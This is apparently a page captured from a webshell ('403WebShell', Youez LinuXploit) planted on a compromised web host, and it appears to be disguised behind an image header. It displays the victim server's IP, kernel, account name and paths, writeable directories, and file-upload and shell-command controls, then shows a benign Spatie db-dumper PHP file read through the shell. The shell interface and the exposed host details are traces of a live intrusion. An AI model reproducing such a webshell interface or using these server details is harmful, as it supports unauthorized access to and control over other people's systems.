����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.141.244.88
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirmacademy.com/vendor/spatie/db-dumper/src/Databases/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirmacademy.com/vendor/spatie/db-dumper/src/Databases/Sqlite.php
<?php

namespace Spatie\DbDumper\Databases;

use Spatie\DbDumper\DbDumper;
use SQLite3;
use Symfony\Component\Process\Process;

class Sqlite extends DbDumper
{
    public function dumpToFile(string $dumpFile): void
    {
        $process = $this->getProcess($dumpFile);

        $process->run();

        $this->checkIfDumpWasSuccessFul($process, $dumpFile);
    }

    public function getDbTables(): array
    {
        $db = new SQLite3($this->dbName);
        $query = $db->query("SELECT name FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%';");
        $tables = [];
        while ($table = $query->fetchArray(SQLITE3_ASSOC)) {
            $tables[] = $table['name'];
        }
        $db->close();

        return $tables;
    }

    public function getDumpCommand(string $dumpFile): string
    {
        $includeTables = rtrim(' ' . implode(' ', $this->includeTables));
        if (empty($includeTables) && ! empty($this->excludeTables)) {
            $tables = $this->getDbTables();
            $includeTables = rtrim(' ' . implode(' ', array_diff($tables, $this->excludeTables)));
        }
        $dumpInSqlite = "echo 'BEGIN IMMEDIATE;\n.dump{$includeTables}'";
        if ($this->isWindows()) {
            $dumpInSqlite = "(echo BEGIN IMMEDIATE; & echo .dump{$includeTables})";
        }
        $quote = $this->determineQuote();

        $command = sprintf(
            "{$dumpInSqlite} | {$quote}%ssqlite3{$quote} --bail {$quote}%s{$quote}",
            $this->dumpBinaryPath,
            $this->dbName
        );

        return $this->echoToFile($command, $dumpFile);
    }

    public function getProcess(string $dumpFile): Process
    {
        $command = $this->getDumpCommand($dumpFile);

        return Process::fromShellCommandline($command, null, null, null, $this->timeout);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit